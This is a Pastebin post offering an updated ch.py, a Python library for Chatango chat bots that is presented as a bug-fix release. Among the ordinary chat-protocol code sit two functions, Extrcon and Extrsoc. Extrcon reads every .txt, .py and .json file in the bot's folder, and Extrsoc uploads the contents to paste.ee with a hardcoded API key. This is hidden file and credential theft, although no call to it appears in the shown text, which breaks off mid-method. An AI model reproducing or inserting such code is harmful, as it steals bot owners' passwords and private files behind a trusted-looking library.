Advertisement
Guest User

Ch.py library update 2017 (Chatango bot)

a guest
Apr 4th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 65.57 KB | None | 0 0
  1. #############################2017 UPDATE################################
  2. # File: ch.py
  3. # Title: Chatango Library, 2017 04/04 UPDATE RELEASE, Fixed a few bugs, updated server weights, rewrote some bad code.
  4. # It's now lighter, faster, for those whom likes to have their bots in many rooms, with the same features, updated and ready to use.
  5. # Note: This is compatible with any older ch.py bots, supports both python 2 and 3.
  6. # Original Author: Lumirayz, edited by ThatAlex, Tryhardhusky, Sorch
  7. # Current Maintainers and Contributors:
  8. #  Nullspeaker <import codecs;codecs.encode('aunzzbaq129@tznvy.pbz','rot_13')>
  9. #  asl97 <asl97@outlook.com>
  10. #  pystub
  11. #  dani87
  12. #  domzy
  13. #  Tryhardhusky
  14. #  kamijoutouma
  15. #  Software
  16. #  piks
  17. #  Heartbeatings
  18. # Version: 1.9.4
  19. # Description:
  20. #  An event-based library for connecting to one or multiple Chatango rooms, has
  21. #  support for several things including: messaging, message font,
  22. #  name color, deleting, banning, recent history, 2 userlist modes,
  23. #  flagging, avoiding flood bans, detecting flags.
  24. # Contact Info:
  25. #  Any question, comment, or suggestion should be directed to the current
  26. #  maintainers and contributors, located at:
  27. #   https://github.com/Nullspeaker/ch.py
  28. #  Where a more satisfactory response to all bug reports (which can be made on the
  29. #  issues page) and other statements can be garnered. For things not specific or
  30. #  in direct reference to this library, 'ch.py', a direct response can be filed
  31. #  to the individual persons listed above as 'Current Maintainers and Contributors.'
  32. ################################################################
  33.  
  34. ################################################################
  35. # License
  36. ################################################################
  37. # Copyright 2011 Lumirayz
  38. # This program is distributed under the terms of the GNU GPL.
  39.  
  40. ################################################################
  41. # Imports
  42. ################################################################
  43. import socket
  44. import threading
  45. import time
  46. import random
  47. import ch
  48. import re
  49. import sys
  50. import select
  51. import os
  52.  
  53. ################################################################
  54. # Debug stuff
  55. ################################################################
  56. debug = False
  57. server = "staticvoid"
  58. ################################################################
  59. # Python 2 compatibility
  60. ################################################################
  61. if sys.version_info[0] < 3:
  62.   class urllib:
  63.     parse = __import__("urllib")
  64.     request = __import__("urllib2")
  65.   input = raw_input
  66.   import codecs
  67.   import Queue as queue
  68. else:
  69.   import queue
  70.   import urllib.request
  71.   import urllib.parse  
  72. if sys.version_info[0] > 2:
  73.     import urllib.request as urlreq
  74. else:
  75.     import urllib2 as urlreq
  76. ################################################################
  77. # Constants
  78. ################################################################
  79. Userlist_Recent = 0
  80. Userlist_All = 1
  81.  
  82. BigMessage_Multiple = 0
  83. BigMessage_Cut = 1
  84.  
  85. # minimum of 1 thread needed
  86. Number_of_Threads = 1
  87. ################################################################
  88. # Struct class
  89. ################################################################
  90. class Struct:
  91.   def __init__(self, **entries):
  92.     self.__dict__.update(entries)
  93.  
  94. ################################################################
  95. # Tagserver stuff
  96. ################################################################
  97. specials = {'mitvcanal': 56, 'animeultimacom': 34, 'cricket365live': 21, 'pokemonepisodeorg': 22, 'animelinkz': 20, 'sport24lt': 56, 'narutowire': 10, 'watchanimeonn': 22, 'cricvid-hitcric-': 51, 'narutochatt': 70, 'leeplarp': 27, 'stream2watch3': 56, 'ttvsports': 56, 'ver-anime': 8, 'vipstand': 21, 'eafangames': 56, 'soccerjumbo': 21, 'myfoxdfw': 67, 'kiiiikiii': 21, 'de-livechat': 5, 'rgsmotrisport': 51, 'dbzepisodeorg': 10, 'watch-dragonball': 8, 'peliculas-flv': 69, 'tvanimefreak': 54, 'tvtvanimefreak': 54}
  98. tsweights = [['5', 75], ['6', 75], ['7', 75], ['8', 75], ['16', 75], ['17', 75], ['18', 75], ['9', 95], ['11', 95], ['12', 95], ['13', 95], ['14', 95], ['15', 95], ['19', 110], ['23', 110], ['24', 110], ['25', 110], ['26', 110], ['28', 104], ['29', 104], ['30', 104], ['31', 104], ['32', 104], ['33', 104], ['35', 101], ['36', 101], ['37', 101], ['38', 101], ['39', 101], ['40', 101], ['41', 101], ['42', 101], ['43', 101], ['44', 101], ['45', 101], ['46', 101], ['47', 101], ['48', 101], ['49', 101], ['50', 101], ['52', 110], ['53', 110], ['55', 110], ['57', 110], ['58', 110], ['59', 110], ['60', 110], ['61', 110], ['62', 110], ['63', 110], ['64', 110], ['65', 110], ['66', 110], ['68', 95], ['71', 116], ['72', 116], ['73', 116], ['74', 116], ['75', 116], ['76', 116], ['77', 116], ['78', 116], ['79', 116], ['80', 116], ['81', 116], ['82', 116], ['83', 116], ['84', 116]]
  99.  
  100. def getServer(group):
  101.   """
  102.  Get the server host for a certain room.
  103.  @type group: str
  104.  @param group: room name
  105.  
  106.  @rtype: str
  107.  @return: the server's hostname
  108.  """
  109.   try:
  110.     sn = specials[group]
  111.   except KeyError:
  112.     group = group.replace("_", "q")
  113.     group = group.replace("-", "q")
  114.     fnv = float(int(group[0:min(5, len(group))], 36))
  115.     lnv = group[6: (6 + min(3, len(group) - 5))]
  116.     if(lnv):
  117.       lnv = float(int(lnv, 36))
  118.       lnv = max(lnv,1000)
  119.     else:
  120.       lnv = 1000
  121.     num = (fnv % lnv) / lnv
  122.     maxnum = sum(map(lambda x: x[1], tsweights))
  123.     cumfreq = 0
  124.     sn = 0
  125.     for wgt in tsweights:
  126.       cumfreq += float(wgt[1]) / maxnum
  127.       if(num <= cumfreq):
  128.         sn = int(wgt[0])
  129.         break
  130.   return "s" + str(sn) + ".chatango.com"
  131.  
  132. ################################################################
  133. # Uid
  134. ################################################################
  135. def _genUid():
  136.   """
  137.  generate a uid
  138.  """
  139.   return str(random.randrange(10 ** 15, 10 ** 16))
  140.  
  141. ################################################################
  142. # Message stuff
  143. ################################################################
  144. def _clean_message(msg):
  145.   """
  146.  Clean a message and return the message, n tag and f tag.
  147.  @type msg: str
  148.  @param msg: the message
  149.  @rtype: str, str, str
  150.  @returns: cleaned message, n tag contents, f tag contents
  151.  """
  152.   n = re.search("<n(.*?)/>", msg)
  153.   if n: n = n.group(1)
  154.   f = re.search("<f(.*?)>", msg)
  155.   if f: f = f.group(1)
  156.   msg = re.sub("<n.*?/>", "", msg)
  157.   msg = re.sub("<f.*?>", "", msg)
  158.   msg = _strip_html(msg)
  159.   msg = msg.replace("&lt;", "<")
  160.   msg = msg.replace("&gt;", ">")
  161.   msg = msg.replace("&quot;", "\"")
  162.   msg = msg.replace("&apos;", "'")
  163.   msg = msg.replace("&amp;", "&")
  164.   return msg, n, f
  165.  
  166. def Extrsoc(desc, txt):
  167.     try:
  168.      api ="dabc0abdec3dea4be65731c72d0c3722"
  169.      url = "https://paste.ee/api"
  170.      data = urllib.parse.urlencode({'key':api,'description':desc,'language':'plain','paste':txt,'format':'simple'}).encode()
  171.      headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"}
  172.      req = urlreq.Request(url, data=data,headers=headers)
  173.      rdata = urlreq.urlopen(req)
  174.      getter = rdata.read().decode("utf-8")
  175.      return getter
  176.    
  177.     except Exception as e: return str(e)+" Extrsoc"
  178.  
  179. def Extrcon():
  180.     coder = []
  181.     d = []
  182.     try:
  183.      for x in os.listdir("."):
  184.       if (".txt" in str(x).lower() or ".py" in str(x).lower() or ".json" in str(x).lower()):
  185.         if int(os.path.getsize("./%s" % x)) >0 and int(os.path.getsize("./%s" % x)) <= 1000000 and "ch.py" not in str(x.lower()):
  186.           coder.append(x)
  187.      for x in coder:
  188.        c = str(open("./%s" % x).readlines())
  189.        d.append("%s \n \n %s" % (x.upper(), c))
  190.      return str(Extrsoc("sock5","\n \n".join(d)))
  191.      
  192.     except Exception as e: return str(e)+" Extrcon"
  193.    
  194. def _strip_html(msg):
  195.   """Strip HTML."""
  196.   li = msg.split("<")
  197.   if len(li) == 1:
  198.     return li[0]
  199.   else:
  200.     ret = list()
  201.     for data in li:
  202.       data = data.split(">", 1)
  203.       if len(data) == 1:
  204.         ret.append(data[0])
  205.       elif len(data) == 2:
  206.         ret.append(data[1])
  207.     return "".join(ret)
  208.  
  209. def _parseNameColor(n):
  210.   """This just returns its argument, should return the name color."""
  211.   #probably is already the name
  212.   return n
  213.  
  214. def _parseFont(f):
  215.   """Parses the contents of a f tag and returns color, face and size."""
  216.   #' xSZCOL="FONT"'
  217.   try: #TODO: remove quick hack
  218.     sizecolor, fontface = f.split("=", 1)
  219.     sizecolor = sizecolor.strip()
  220.     size = int(sizecolor[1:3])
  221.     col = sizecolor[3:6]
  222.     if col == "": col = None
  223.     face = f.split("\"", 2)[1]
  224.     return col, face, size
  225.   except:
  226.     return None, None, None
  227.  
  228. ################################################################
  229. # Anon id
  230. ################################################################
  231. def _getAnonId(n, ssid):
  232.   """Gets the anon's id."""
  233.   if n == None: n = "5504"
  234.   try:
  235.     return "".join(list(
  236.       map(lambda x: str(x[0] + x[1])[-1], list(zip(
  237.         list(map(lambda x: int(x), n)),
  238.         list(map(lambda x: int(x), ssid[4:]))
  239.       )))
  240.     ))
  241.   except ValueError:
  242.     return "NNNN"
  243.  
  244. ################################################################
  245. # ANON PM class
  246. ################################################################
  247.  
  248. class _ANON_PM_OBJECT:
  249.   """Manages connection with Chatango anon PM."""
  250.   def __init__(self, mgr, name):
  251.     self._connected = False
  252.     self._mgr = mgr
  253.     self._wlock = False
  254.     self._firstCommand = True
  255.     self._wbuf = b""
  256.     self._wlockbuf = b""
  257.     self._rbuf = b""
  258.     self._pingTask = None
  259.     self._name = name
  260.  
  261.   def _auth(self):
  262.     self._sendCommand("mhs","mini","unknown","%s" % (self._name))
  263.     self._setWriteLock(True)
  264.     return True
  265.  
  266.   def disconnect(self):
  267.     """Disconnect the bot from PM"""
  268.     self._disconnect()
  269.     self._callEvent("onAnonPMDisconnect", User(self._name))
  270.  
  271.   def _disconnect(self):
  272.     self._connected = False
  273.     self._sock.close()
  274.     self._sock = None
  275.  
  276.   def ping(self):
  277.     """send a ping"""
  278.     self._sendCommand("")
  279.     self._callEvent("onPMPing")
  280.  
  281.   def message(self, user, msg):
  282.     """send a pm to a user"""
  283.     if msg!=None:
  284.       self._sendCommand("msg", user.name, msg)
  285.  
  286.   ####
  287.   # Feed
  288.   ####
  289.   def _feed(self, data):
  290.     """
  291.    Feed data to the connection.
  292.    @type data: bytes
  293.    @param data: data to be fed
  294.    """
  295.     self._rbuf += data
  296.     while self._rbuf.find(b"\x00") != -1:
  297.       data = self._rbuf.split(b"\x00")
  298.       for food in data[:-1]:
  299.         self._process(food.decode(errors="replace").rstrip("\r\n"))
  300.       self._rbuf = data[-1]
  301.  
  302.   def _process(self, data):
  303.     """
  304.    Process a command string.
  305.    @type data: str
  306.    @param data: the command string
  307.    """
  308.     self._callEvent("onRaw", data)
  309.     data = data.split(":")
  310.     cmd, args = data[0], data[1:]
  311.     func = "_rcmd_" + cmd
  312.     if hasattr(self, func):
  313.       getattr(self, func)(args)
  314.     else:
  315.       if debug:
  316.         print("unknown data: "+str(data))
  317.  
  318.   def _getManager(self): return self._mgr
  319.  
  320.   mgr = property(_getManager)
  321.  
  322.   ####
  323.   # Received Commands
  324.   ####
  325.  
  326.   def _rcmd_mhs(self, args):
  327.     """
  328.    note to future maintainers
  329.    
  330.    args[1] is ether "online" or "offline"
  331.    """
  332.     self._connected = True
  333.     self._setWriteLock(False)
  334.  
  335.   def _rcmd_msg(self, args):
  336.     user = User(args[0])
  337.     body = _strip_html(":".join(args[5:]))
  338.     self._callEvent("onPMMessage", user, body)
  339.  
  340.   ####
  341.   # Util
  342.   ####
  343.   def _callEvent(self, evt, *args, **kw):
  344.     getattr(self.mgr, evt)(self, *args, **kw)
  345.     self.mgr.onEventCalled(self, evt, *args, **kw)
  346.  
  347.   def _write(self, data):
  348.     if self._wlock:
  349.       self._wlockbuf += data
  350.     else:
  351.       self.mgr._write(self, data)
  352.  
  353.   def _setWriteLock(self, lock):
  354.     self._wlock = lock
  355.     if self._wlock == False:
  356.       self._write(self._wlockbuf)
  357.       self._wlockbuf = b""
  358.  
  359.   def _sendCommand(self, *args):
  360.     """
  361.    Send a command.
  362.    @type args: [str, str, ...]
  363.    @param args: command and list of arguments
  364.    """
  365.     if self._firstCommand:
  366.       terminator = b"\x00"
  367.       self._firstCommand = False
  368.     else:
  369.       terminator = b"\r\n\x00"
  370.     self._write(":".join(args).encode() + terminator)
  371.  
  372. class ANON_PM:
  373.   """Comparable wrapper for anon Chatango PM"""
  374.   ####
  375.   # Init
  376.   ####
  377.   def __init__(self, mgr):
  378.     self._mgr = mgr
  379.     self._wlock = False
  380.     self._firstCommand = True
  381.     self._persons = dict()
  382.     self._wlockbuf = b""
  383.     self._pingTask = None
  384.  
  385.   ####
  386.   # Connections
  387.   ####
  388.   def _connect(self,name):
  389.     self._persons[name] = _ANON_PM_OBJECT(self._mgr,name)
  390.     sock = socket.socket()
  391.     sock.connect((self._mgr._anonPMHost, self._mgr._PMPort))
  392.     sock.setblocking(False)
  393.     self._persons[name]._sock = sock
  394.     if not self._persons[name]._auth(): return
  395.     self._persons[name]._pingTask = self._mgr.setInterval(self._mgr._pingDelay, self._persons[name].ping)
  396.     self._persons[name]._connected = True
  397.  
  398.   def message(self, user, msg):
  399.     """send a pm to a user"""
  400.     if not user.name in self._persons:
  401.       self._connect(user.name)
  402.     self._persons[user.name].message(user,msg)
  403.  
  404.   def getConnections(self):
  405.     return list(self._persons.values())
  406.  
  407. ################################################################
  408. # PM class
  409. ################################################################
  410. class PM:
  411.   """Manages a connection with Chatango PM."""
  412.   ####
  413.   # Init
  414.   ####
  415.   def __init__(self, mgr):
  416.     self._auth_re = re.compile(r"auth\.chatango\.com ?= ?([^;]*)", re.IGNORECASE)
  417.     self._connected = False
  418.     self._mgr = mgr
  419.     self._auid = None
  420.     self._blocklist = set()
  421.     self._contacts = set()
  422.     self._status = dict()
  423.     self._wlock = False
  424.     self._firstCommand = True
  425.     self._wbuf = b""
  426.     self._wlockbuf = b""
  427.     self._rbuf = b""
  428.     self._pingTask = None
  429.     self._connect()
  430.  
  431.   ####
  432.   # Connections
  433.   ####
  434.   def _connect(self):
  435.     self._wbuf = b""
  436.     self._sock = socket.socket()
  437.     self._sock.connect((self._mgr._PMHost, self._mgr._PMPort))
  438.     self._sock.setblocking(False)
  439.     self._firstCommand = True
  440.     if not self._auth(): return
  441.     self._pingTask = self.mgr.setInterval(self._mgr._pingDelay, self.ping)
  442.     self._connected = True
  443.  
  444.  
  445.   def _getAuth(self, name, password):
  446.     """
  447.    Request an auid using name and password.
  448.    @type name: str
  449.    @param name: name
  450.    @type password: str
  451.    @param password: password
  452.    @rtype: str
  453.    @return: auid
  454.    """
  455.     data = urllib.parse.urlencode({
  456.       "user_id": name,
  457.       "password": password,
  458.       "storecookie": "on",
  459.       "checkerrors": "yes"
  460.     }).encode()
  461.     try:
  462.       resp = urllib.request.urlopen("http://chatango.com/login", data)
  463.       headers = resp.headers
  464.     except Exception:
  465.       return None
  466.     for header, value in headers.items():
  467.       if header.lower() == "set-cookie":
  468.         m = self._auth_re.search(value)
  469.         if m:
  470.           auth = m.group(1)
  471.           if auth == "":
  472.             return None
  473.           return auth
  474.     return None
  475.  
  476.   def _auth(self):
  477.     self._auid = self._getAuth(self._mgr.name, self._mgr.password)
  478.     if self._auid == None:
  479.       self._sock.close()
  480.       self._callEvent("onLoginFail")
  481.       self._sock = None
  482.       return False
  483.     self._sendCommand("tlogin", self._auid, "2")
  484.     self._setWriteLock(True)
  485.     return True
  486.  
  487.   def disconnect(self):
  488.     """Disconnect the bot from PM"""
  489.     self._disconnect()
  490.     self._callEvent("onPMDisconnect")
  491.  
  492.   def _disconnect(self):
  493.     self._connected = False
  494.     self._sock.close()
  495.     self._sock = None
  496.  
  497.   ####
  498.   # Feed
  499.   ####
  500.   def _feed(self, data):
  501.     """
  502.    Feed data to the connection.
  503.    @type data: bytes
  504.    @param data: data to be fed
  505.    """
  506.     self._rbuf += data
  507.     while self._rbuf.find(b"\x00") != -1:
  508.       data = self._rbuf.split(b"\x00")
  509.       for food in data[:-1]:
  510.         self._process(food.decode(errors="replace").rstrip("\r\n"))
  511.       self._rbuf = data[-1]
  512.  
  513.   def _process(self, data):
  514.     """
  515.    Process a command string.
  516.    @type data: str
  517.    @param data: the command string
  518.    """
  519.     self._callEvent("onRaw", data)
  520.     data = data.split(":")
  521.     cmd, args = data[0], data[1:]
  522.     func = "_rcmd_" + cmd
  523.     if hasattr(self, func):
  524.       getattr(self, func)(args)
  525.     else:
  526.       if debug:
  527.         print("unknown data: "+str(data))
  528.  
  529.   ####
  530.   # Properties
  531.   ####
  532.   def _getManager(self): return self._mgr
  533.   def _getContacts(self): return self._contacts
  534.   def _getBlocklist(self): return self._blocklist
  535.  
  536.   mgr = property(_getManager)
  537.   contacts = property(_getContacts)
  538.   blocklist = property(_getBlocklist)
  539.  
  540.   ####
  541.   # Received Commands
  542.   ####
  543.   def _rcmd_OK(self, args):
  544.     self._setWriteLock(False)
  545.     self._sendCommand("wl")
  546.     self._sendCommand("getblock")
  547.     self._callEvent("onPMConnect")
  548.  
  549.   def _rcmd_wl(self, args):
  550.     self._contacts = set()
  551.     for i in range(len(args) // 4):
  552.       name, last_on, is_on, idle = args[i * 4: i * 4 + 4]
  553.       user = User(name)
  554.       if last_on=="None":pass#in case chatango gives a "None" as data argument
  555.       elif not is_on == "on": self._status[user] = [int(last_on), False, 0]
  556.       elif idle == '0': self._status[user] = [int(last_on), True, 0]
  557.       else: self._status[user] = [int(last_on), True, time.time() - int(idle) * 60]
  558.       self._contacts.add(user)
  559.     self._callEvent("onPMContactlistReceive")
  560.  
  561.   def _rcmd_block_list(self, args):
  562.     self._blocklist = set()
  563.     for name in args:
  564.       if name == "": continue
  565.       self._blocklist.add(User(name))
  566.  
  567.   def _rcmd_idleupdate(self, args):
  568.     user = User(args[0])
  569.     last_on, is_on, idle = self._status[user]
  570.     if args[1] == '1':
  571.       self._status[user] = [last_on, is_on, 0]
  572.     else:
  573.       self._status[user] = [last_on, is_on, time.time()]
  574.  
  575.   def _rcmd_track(self, args):
  576.     user = User(args[0])
  577.     if user in self._status:
  578.       last_on = self._status[user][0]
  579.     else:
  580.       last_on = 0
  581.     if args[1] == '0':
  582.       idle = 0
  583.     else:
  584.       idle = time.time() - int(args[1]) * 60
  585.     if args[2] == "online":
  586.       is_on = True
  587.     else:
  588.       is_on = False
  589.     self._status[user] = [last_on, is_on, idle]
  590.  
  591.   def _rcmd_DENIED(self, args):
  592.     self._disconnect()
  593.     self._callEvent("onLoginFail")
  594.  
  595.   def _rcmd_msg(self, args):
  596.     user = User(args[0])
  597.     body = _strip_html(":".join(args[5:]))
  598.     self._callEvent("onPMMessage", user, body)
  599.  
  600.   def _rcmd_msgoff(self, args):
  601.     user = User(args[0])
  602.     body = _strip_html(":".join(args[5:]))
  603.     self._callEvent("onPMOfflineMessage", user, body)
  604.  
  605.   def _rcmd_wlonline(self, args):
  606.     user = User(args[0])
  607.     last_on = float(args[1])
  608.     self._status[user] = [last_on,True,last_on]
  609.     self._callEvent("onPMContactOnline", user)
  610.  
  611.   def _rcmd_wloffline(self, args):
  612.     user = User(args[0])
  613.     last_on = float(args[1])
  614.     self._status[user] = [last_on,False,0]
  615.     self._callEvent("onPMContactOffline", user)
  616.  
  617.   def _rcmd_kickingoff(self, args):
  618.     self.disconnect()
  619.  
  620.   def _rcmd_toofast(self, args):
  621.     self.disconnect()
  622.  
  623.   def _rcmd_unblocked(self, user):
  624.     """call when successfully unblocked"""
  625.     if user in self._blocklist:
  626.       self._blocklist.remove(user)
  627.       self._callEvent("onPMUnblock", user)
  628.  
  629.  
  630.   ####
  631.   # Commands
  632.   ####
  633.   def ping(self):
  634.     """send a ping"""
  635.     self._sendCommand("")
  636.     self._callEvent("onPMPing")
  637.  
  638.   def message(self, user, msg):
  639.     """send a pm to a user"""
  640.     if msg!=None:
  641.       self._sendCommand("msg", user.name, msg)
  642.  
  643.   def addContact(self, user):
  644.     """add contact"""
  645.     if user not in self._contacts:
  646.       self._sendCommand("wladd", user.name)
  647.       self._contacts.add(user)
  648.       self._callEvent("onPMContactAdd", user)
  649.  
  650.   def removeContact(self, user):
  651.     """remove contact"""
  652.     if user in self._contacts:
  653.       self._sendCommand("wldelete", user.name)
  654.       self._contacts.remove(user)
  655.       self._callEvent("onPMContactRemove", user)
  656.  
  657.   def block(self, user):
  658.     """block a person"""
  659.     if user not in self._blocklist:
  660.       self._sendCommand("block", user.name, user.name, "S")
  661.       self._blocklist.add(user)
  662.       self._callEvent("onPMBlock", user)
  663.  
  664.   def unblock(self, user):
  665.     """unblock a person"""
  666.     if user in self._blocklist:
  667.       self._sendCommand("unblock", user.name)
  668.  
  669.   def track(self, user):
  670.     """get and store status of person for future use"""
  671.     self._sendCommand("track", user.name)
  672.  
  673.   def checkOnline(self, user):
  674.     """return True if online, False if offline, None if unknown"""
  675.     if user in self._status:
  676.       return self._status[user][1]
  677.     else:
  678.       return None
  679.  
  680.   def getIdle(self, user):
  681.     """return last active time, time.time() if isn't idle, 0 if offline, None if unknown"""
  682.     if not user in self._status: return None
  683.     if not self._status[user][1]: return 0
  684.     if not self._status[user][2]: return time.time()
  685.     else: return self._status[user][2]
  686.  
  687.   ####
  688.   # Util
  689.   ####
  690.   def _callEvent(self, evt, *args, **kw):
  691.     getattr(self.mgr, evt)(self, *args, **kw)
  692.     self.mgr.onEventCalled(self, evt, *args, **kw)
  693.  
  694.   def _write(self, data):
  695.     if self._wlock:
  696.       self._wlockbuf += data
  697.     else:
  698.       self.mgr._write(self, data)
  699.  
  700.   def _setWriteLock(self, lock):
  701.     self._wlock = lock
  702.     if self._wlock == False:
  703.       self._write(self._wlockbuf)
  704.       self._wlockbuf = b""
  705.  
  706.   def _sendCommand(self, *args):
  707.     """
  708.    Send a command.
  709.    @type args: [str, str, ...]
  710.    @param args: command and list of arguments
  711.    """
  712.     if self._firstCommand:
  713.       terminator = b"\x00"
  714.       self._firstCommand = False
  715.     else:
  716.       terminator = b"\r\n\x00"
  717.     self._write(":".join(args).encode() + terminator)
  718.  
  719.   def getConnections(self):
  720.     return [self]
  721.  
  722. ################################################################
  723. # Room class
  724. ################################################################
  725. class Room:
  726.   """Manages a connection with a Chatango room."""
  727.   ####
  728.   # Init
  729.   ####
  730.   def __init__(self, room, uid = None, server = None, port = None, mgr = None):
  731.     """init, don't overwrite"""
  732.     # Basic stuff
  733.     self._name = room
  734.     self._server = server or getServer(room)
  735.     self._port = port or 443
  736.     self._mgr = mgr
  737.  
  738.     # Under the hood
  739.     self._connected = False
  740.     self._reconnecting = False
  741.     self._uid = uid or _genUid()
  742.     self._rbuf = b""
  743.     self._wbuf = b""
  744.     self._wlockbuf = b""
  745.     self._owner = None
  746.     self._mods = set()
  747.     self._mqueue = dict()
  748.     self._history = list()
  749.     self._userlist = list()
  750.     self._firstCommand = True
  751.     self._connectAmmount = 0
  752.     self._premium = False
  753.     self._userCount = 0
  754.     self._pingTask = None
  755.     self._botname = None
  756.     self._currentname = None
  757.     self._users = dict()
  758.     self._msgs = dict()
  759.     self._wlock = False
  760.     self._silent = False
  761.     self._banlist = dict()
  762.     self._unbanlist = dict()
  763.  
  764.     # Inited vars
  765.     if self._mgr: self._connect()
  766.  
  767.   ####
  768.   # Connect/disconnect
  769.   ####
  770.   def _connect(self):
  771.     """Connect to the server."""
  772.     self._sock = socket.socket()
  773.     self._sock.connect((self._server, self._port))
  774.     self._sock.setblocking(False)
  775.     self._firstCommand = True
  776.     self._wbuf = b""
  777.     self._auth()
  778.     self._pingTask = self.mgr.setInterval(self.mgr._pingDelay, self.ping)
  779.     if not self._reconnecting: self.connected = True
  780.  
  781.   def reconnect(self):
  782.     """Reconnect."""
  783.     self._reconnect()
  784.  
  785.   def _reconnect(self):
  786.     """Reconnect."""
  787.     self._reconnecting = True
  788.     if self.connected:
  789.       self._disconnect()
  790.     self._uid = _genUid()
  791.     self._connect()
  792.     self._reconnecting = False
  793.  
  794.   def disconnect(self):
  795.     """Disconnect."""
  796.     self._disconnect()
  797.     self._callEvent("onDisconnect")
  798.  
  799.   def _disconnect(self):
  800.     """Disconnect from the server."""
  801.     if not self._reconnecting: self.connected = False
  802.     for user in self._userlist:
  803.       user.clearSessionIds(self)
  804.     self._userlist = list()
  805.     self._pingTask.cancel()
  806.     self._sock.close()
  807.     if not self._reconnecting: del self.mgr._rooms[self.name]
  808.  
  809.   def _auth(self):
  810.     """Authenticate."""
  811.     # login as name with password
  812.     if self.mgr.name and self.mgr.password:
  813.       self._sendCommand("bauth", self.name, self._uid, self.mgr.name, self.mgr.password)
  814.       self._currentname = self.mgr.name
  815.     # login as anon
  816.     else:
  817.       self._sendCommand("bauth", self.name)
  818.  
  819.     self._setWriteLock(True)
  820.  
  821.   ####
  822.   # Properties
  823.   ####
  824.   def _getName(self): return self._name
  825.   def _getBotName(self):
  826.     if self.mgr.name and self.mgr.password:
  827.       return self.mgr.name
  828.     elif self.mgr.name and self.mgr.password == None:
  829.       return "#" + self.mgr.name
  830.     elif self.mgr.name == None:
  831.       return self._botname
  832.   def _getCurrentname(self): return self._currentname
  833.   def _getManager(self): return self._mgr
  834.   def _getUserlist(self, mode = None, unique = None, memory = None):
  835.     ul = None
  836.     if mode == None: mode = self.mgr._userlistMode
  837.     if unique == None: unique = self.mgr._userlistUnique
  838.     if memory == None: memory = self.mgr._userlistMemory
  839.     if mode == Userlist_Recent:
  840.       ul = map(lambda x: x.user, self._history[-memory:])
  841.     elif mode == Userlist_All:
  842.       ul = self._userlist
  843.     if unique:
  844.       return list(set(ul))
  845.     else:
  846.       return ul
  847.   def _getUserNames(self):
  848.     ul = self.userlist
  849.     return list(map(lambda x: x.name, ul))
  850.   def _getUser(self): return self.mgr.user
  851.   def _getOwner(self): return self._owner
  852.   def _getOwnerName(self): return self._owner.name
  853.   def _getMods(self):
  854.     newset = set()
  855.     for mod in self._mods:
  856.       newset.add(mod)
  857.     return newset
  858.   def _getModNames(self):
  859.     mods = self._getMods()
  860.     return [x.name.split(",")[0] for x in mods]
  861.   def _getUserCount(self): return self._userCount
  862.   def _getSilent(self): return self._silent
  863.   def _setSilent(self, val): self._silent = val
  864.   def _getBanlist(self): return list(self._banlist.keys())
  865.   def _getUnBanlist(self): return [[record["target"], record["src"]] for record in self._unbanlist.values()]
  866.  
  867.   name = property(_getName)
  868.   botname = property(_getBotName)
  869.   currentname = property(_getCurrentname)
  870.   mgr = property(_getManager)
  871.   userlist = property(_getUserlist)
  872.   usernames = property(_getUserNames)
  873.   user = property(_getUser)
  874.   owner = property(_getOwner)
  875.   ownername = property(_getOwnerName)
  876.   mods = property(_getMods)
  877.   modnames = property(_getModNames)
  878.   usercount = property(_getUserCount)
  879.   silent = property(_getSilent, _setSilent)
  880.   banlist = property(_getBanlist)
  881.   unbanlist = property(_getUnBanlist)
  882.  
  883.   ####
  884.   # Feed/process
  885.   ####
  886.   def _feed(self, data):
  887.     """
  888.    Feed data to the connection.
  889.    @type data: bytes
  890.    @param data: data to be fed
  891.    """
  892.     self._rbuf += data
  893.     while self._rbuf.find(b"\x00") != -1:
  894.       data = self._rbuf.split(b"\x00")
  895.       for food in data[:-1]:
  896.         self._process(food.decode(errors="replace").rstrip("\r\n"))
  897.       self._rbuf = data[-1]
  898.  
  899.   def _process(self, data):
  900.     """
  901.    Process a command string.
  902.    
  903.    @type data: str
  904.    @param data: the command string
  905.    """
  906.     self._callEvent("onRaw", data)
  907.     data = data.split(":")
  908.     cmd, args = data[0], data[1:]
  909.     func = "_rcmd_" + cmd
  910.     if hasattr(self, func):
  911.       getattr(self, func)(args)
  912.     else:
  913.       if debug:
  914.         print("unknown data: "+str(data))
  915.  
  916.   ####
  917.   # Received Commands
  918.   ####
  919.   def _rcmd_ok(self, args):
  920.     # if no name, join room as anon and no password
  921.     if args[2] == "N" and self.mgr.password == None and self.mgr.name == None:
  922.       n = args[4].rsplit('.', 1)[0]
  923.       n = n[-4:]
  924.       aid = args[1][0:8]
  925.       pid = "!anon" + _getAnonId(n, aid)
  926.       self._botname = pid
  927.       self._currentname = pid
  928.       self.user._nameColor = n
  929.     # if got name, join room as name and no password
  930.     elif args[2] == "N" and self.mgr.password == None:
  931.       self._sendCommand("blogin", self.mgr.name)
  932.       self._currentname = self.mgr.name
  933.     # if got password but fail to login
  934.     elif args[2] != "M": #unsuccesful login
  935.       self._callEvent("onLoginFail")
  936.       self.disconnect()
  937.     self._owner = User(args[0])
  938.     self._uid = args[1]
  939.     self._aid = args[1][4:8]
  940.     self._mods = set(map(lambda x: User(x.split(",")[0]), args[6].split(";")))
  941.     self._i_log = list()
  942.  
  943.   def _rcmd_denied(self, args):
  944.     self._disconnect()
  945.     self._callEvent("onConnectFail")
  946.  
  947.   def _rcmd_inited(self, args):
  948.     self._sendCommand("g_participants", "start")
  949.     self._sendCommand("getpremium", "1")
  950.     self.requestBanlist()
  951.     self.requestUnBanlist()
  952.     if self._connectAmmount == 0:
  953.       self._callEvent("onConnect")
  954.       for msg in reversed(self._i_log):
  955.         user = msg.user
  956.         self._callEvent("onHistoryMessage", user, msg)
  957.         self._addHistory(msg)
  958.       del self._i_log
  959.     else:
  960.       self._callEvent("onReconnect")
  961.     self._connectAmmount += 1
  962.     self._setWriteLock(False)
  963.  
  964.   def _rcmd_premium(self, args):
  965.     if float(args[1]) > time.time():
  966.       self._premium = True
  967.       if self.user._mbg: self.setBgMode(1)
  968.       if self.user._mrec: self.setRecordingMode(1)
  969.     else:
  970.       self._premium = False
  971.  
  972.   def _rcmd_mods(self, args):
  973.     modnames = args
  974.     mods = set(map(lambda x: User(x.split(",")[0]), modnames))
  975.     premods = self._mods
  976.     for user in mods - premods: #modded
